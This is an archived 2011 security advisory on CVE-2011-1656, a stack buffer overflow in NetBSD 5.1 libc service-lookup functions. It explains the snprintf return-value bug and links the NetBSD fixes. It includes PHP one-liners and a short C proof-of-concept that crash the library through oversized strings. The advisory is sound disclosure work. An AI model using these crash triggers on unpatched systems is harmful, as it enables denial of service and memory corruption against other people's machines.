NetBSD 5.1 libc/net Stack Buffer Overflow

2011-07-01T00:00:00
ID PACKETSTORM:102707
Type packetstorm
Reporter Maksymilian Arciemowicz
Modified 2011-07-01T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
[ NetBSD 5.1 libc/net multiple functions stack buffer overflow ]  
  
Author: Maksymilian Arciemowicz  
http://netbsd.org/donations/  
  
Date:  
- - Dis.: 01.04.2011  
- - Pub.: 01.07.2011  
  
CVE: CVE-2011-1656  
CWE: CWE-121  
  
Affected software:  
- - NetBSD 5.1 (fixed)  
  
Affected functions:  
- - getservbyname(3)  
- - getservbyname_r(3)  
- - getservbyport(3)  
- - getservbyport_r(3)  
- - getaddrinfo(3)  
- - getnameinfo(3)  
  
Original URL:  
http://securityreason.com/achievement_securityalert/99  
  
  
- --- 0.Description ---  
The getservbyname(), and getservbyport() functions each return a pointer  
to an object with the following structure containing the broken-out  
fields of a line in the network services data base,  
  
struct servent *  
getservbyname(const char *name, const char *proto);  
  
struct servent *  
getservbyport(int port, const char *proto);  
  
The getservbyname() and getservbyport() functions sequentially search  
from the beginning of the file until a matching protocol name or port  
number is found, or until EOF is encountered. If a protocol name is  
also supplied (non-NULL), searches must also match the protocol.  
  
  
- --- 1. NetBSD 5.1 libc/net multiple functions stack buffer overflow ---  
The main problem exists in files like getservbyname_r.c and  
getservbyport_r.c. Functions getservbyname*(3), getservbyport*(3) and  
getaddrinfo(3) of NetBSD libc implementation, provides to possible  
buffer overflow. To demonstrate this issue, we may use PHP as an attack  
vector.  
  
127# php -r 'getservbyname("A",str_repeat("A",7108));'  
127# php -r 'getservbyname("A",str_repeat("A",7109));'  
Memory fault (core dumped)  
  
- -php-5.3.6/ext/standard/basic_functions.c---  
PHP_FUNCTION(getservbyname)  
{  
char *name, *proto;  
int name_len, proto_len;  
struct servent *serv;  
  
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss", &name,  
&name_len, &proto, &proto_len) == FAILURE) {  
return;  
}  
...  
serv = getservbyname(name, proto); <==== CALL TO LIBC  
- -php-5.3.6/ext/standard/basic_functions.c---  
  
BT:  
#0 0xbb8b2d65 in __log2 () from /usr/lib/libc.so.12  
#1 0xbb8afa2e in __call_hash () from /usr/lib/libc.so.12  
#2 0xbb8b0ebd in __hash_open () from /usr/lib/libc.so.12  
#3 0xbb8884c2 in getservbyname_r () from /usr/lib/libc.so.12  
#4 0xbb822f6f in getservbyname () from /usr/lib/libc.so.12  
#5 0x08334458 in php_get_highlight_struct ()  
  
Let's see what is wrong with getservbyname().  
  
- -getservbyname.c---  
struct servent *  
getservbyname(const char *name, const char *proto)  
{  
struct servent *s;  
  
mutex_lock(&_servent_mutex);  
s = getservbyname_r(name, proto, &_servent_data.serv, &_servent_data);  
<=== REFERENCE  
mutex_unlock(&_servent_mutex);  
return (s);  
}  
- -getservbyname.c---  
  
as we can see, getservbyname(3) redirect to getservbyname_r(3) function.  
  
- -getservbyname_r.c---  
if (sd->flags & _SV_DB) {  
char buf[BUFSIZ];  
DBT key, data;  
DB *db = sd->db;  
key.data = buf;  
  
if (proto == NULL)  
key.size = snprintf(buf, sizeof(buf), "\376%s", name); <===== INVALID  
key.size HERE  
else  
key.size = snprintf(buf, sizeof(buf), "\376%s/%s", <===== INVALID  
key.size HERE  
name, proto);  
key.size++;  
  
if ((*db->get)(db, &key, &data, 0) != 0)  
return NULL;  
  
if ((*db->get)(db, &data, &key, 0) != 0)  
return NULL;  
- -getservbyname_r.c---  
  
key.size may be bigger as BUFSIZ.  
  
snprintf(3) return number of characters that would have been written had  
size been sufficiently large (not counting the terminating null). In  
this case, snprintf(3) return bigger value as sizeof(buf). In older libc  
implementations, snprintf(3) should return -1, if the string is truncated.  
  
The same problem is with getservbyport_r(3).  
  
- -getservbyname_r.c---  
if (sd->flags & _SV_DB) {  
char buf[BUFSIZ];  
DBT key, data;  
DB *db = sd->db;  
key.data = buf;  
  
port = htons(port);  
if (proto == NULL)  
key.size = snprintf(buf, sizeof(buf), "\377%d", port); <===== INVALID  
key.size HERE  
else  
key.size = snprintf(buf, sizeof(buf), "\377%d/%s", port, <=====  
INVALID key.size HERE  
proto);  
key.size++;  
  
if ((*db->get)(db, &key, &data, 0) != 0)  
return NULL;  
  
if ((*db->get)(db, &data, &key, 0) != 0)  
return NULL;  
- -getservbyname_r.c---  
  
And the last PoC:  
- -PoC---  
/*  
127# gcc -o grr grr.c && ./grr 6050  
127# gcc -o grr grr.c && ./grr 6051  
Memory fault (core dumped)  
127#  
  
  
*/  
#include <stdlib.h>  
#include <string.h>  
#include <netdb.h>  
  
int main(int argc, char *argv[]){  
char *cycek;  
cycek=malloc(atoi(argv[1]));  
  
if(!cycek) return 1;  
memset(cycek,'A',atoi(argv[1]));  
  
getservbyname(cycek,"tcp");  
  
return 0;  
}  
- -PoC---  
  
NetBSD has fixed this issue. Use cvs netbsd-5-1 and netbsd-5-0 to up-to  
date your system.  
  
There are no others vulnerable libc implementations. Only FreeBSD 8.2  
use wrong snprintf(3) in getservent.c  
  
http://www.freebsd.org/cgi/cvsweb.cgi/~checkout~/src/lib/libc/net/getservent.c?rev=1.23.10.3.4.1;content-type=text%2Fplain  
  
GNU libc may give problem with alloca().  
  
  
- --- 2. Fix ---  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyname_r.c  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyport_r.c  
  
NetBSD CVS tags:  
- - netbsd-5-1  
- - netbsd-5-0  
- - netbsd-5  
  
  
- --- 3. Greets ---  
Christos Zoulas, sp3x, Infospec  
  
  
- --- 4. Contact ---  
Author: Maksymilian Arciemowicz  
  
Email:  
- - cxib {a\./t] securityreason [d=t} com  
  
GPG:  
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
- --   
Best Regards  
pub 4096R/D6E5B530 2010-09-19  
uid Maksymilian Arciemowicz (cx) <max@cxib.net>  
sub 4096R/58BA663C 2010-09-19  
-----BEGIN PGP SIGNATURE-----  
  
iQIcBAEBAgAGBQJODbm3AAoJEIO8+dzW5bUwV/cP/jqbh+y5WlQ899d+gs9c83Kl  
Xo9D/FtJz/iwIUgW5Kc9dsIJ5FAOVjPO2xiSxDT/+giBx0BKqXaAUMoCUsgjBh40  
ODqfCmAbCLS34AUKFYDHsNjxV76SPTIzJ28T3+i2U6FWbrVRjyj9+otCvu7lL0x5  
IdyNs2x/n2utW1OP8oKDODgDUcykwJh1111Lh2GBMSp8OCfUaFiW5PNvnkLODJGz  
AC2y0NtDmZjQrQwUIHPvSdkV+tKEgo+30IlgWHTHSBzH8Ti38P7VNSD/+EXgH6ER  
TUjE5spiS35WGPAEbwVv9Z4AZDtzTn5tPdI7KZCsjugRB0isuHRGlpuZDo/nChul  
SdUWgAGtmcD7XE8Bvs917smPfEi+XNlbfqMwAODJ6ov1bXUW4YE6KO1fMEu/p6av  
7mFp6HXmJS+11LH6snKrgOW9uV8HHF8+ty8uuc5Lmv2v3Eg1IHLvOKISls7MRI/M  
zri9AsNxNfcNHpfumOTF28UbWWPr4XAAMN1UfiCznC+rYbp629mSzP7iwdZz825v  
1HrNEvhCG3p/3Rnn7p0PWIKxJtXKgR3GYFySSqZKWpLXTXpMtXGLBcv4YeYVr+3z  
XA0ImPz/z0JBu1jnwtDQZW1JdhdYVVPdMhOvOhTvTEc8NXxNH+zJZ4xClBAiSBNj  
+CmfTIrwi4QJxhrXGAu7  
=YeRU  
-----END PGP SIGNATURE-----  
`